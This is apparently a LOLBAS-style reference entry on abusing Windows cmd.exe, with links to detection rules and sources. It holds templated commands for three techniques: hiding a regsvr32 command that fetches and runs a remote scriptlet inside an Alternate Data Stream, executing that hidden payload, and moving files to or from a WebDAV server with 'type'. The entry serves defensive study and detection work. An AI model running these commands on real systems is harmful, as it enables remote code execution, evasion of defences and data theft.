Cmd.exe
Full path
C:\Windows\System32\cmd.exe
C:\Windows\SysWOW64\cmd.exeCommands
Can be used to evade defensive countermeasures or to hide as a persistence mechanism
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.batAdd content to an Alternate Data Stream (ADS).
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Can be used to evade defensive countermeasures or to hide as a persistence mechanism
cmd.exe - < {PATH}:payload.batExecute payload.bat stored in an Alternate Data Stream (ADS).
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Download/copy a file from a WebDAV server
type {PATH_SMB} > {PATH_ABSOLUTE}Downloads a specified file from a WebDAV server to the target file.
os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Upload a file to a WebDAV server
type {PATH_ABSOLUTE} > {PATH_SMB}Uploads a specified file to a WebDAV server.
os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Detection
- Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml
- Elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml
- Elastic https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
- IOCcmd.exe executing files from alternate data streams.
- IOCcmd.exe creating/modifying file contents in an alternate data stream.
Resources
- https://twitter.com/yeyint_mth/status/1143824979139579904
- https://twitter.com/Mr_0rng/status/1601408154780446721
- https://medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22
- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/type
acknowledgement: r0lan @yeyint_mth, Mr.0range @mr_0rng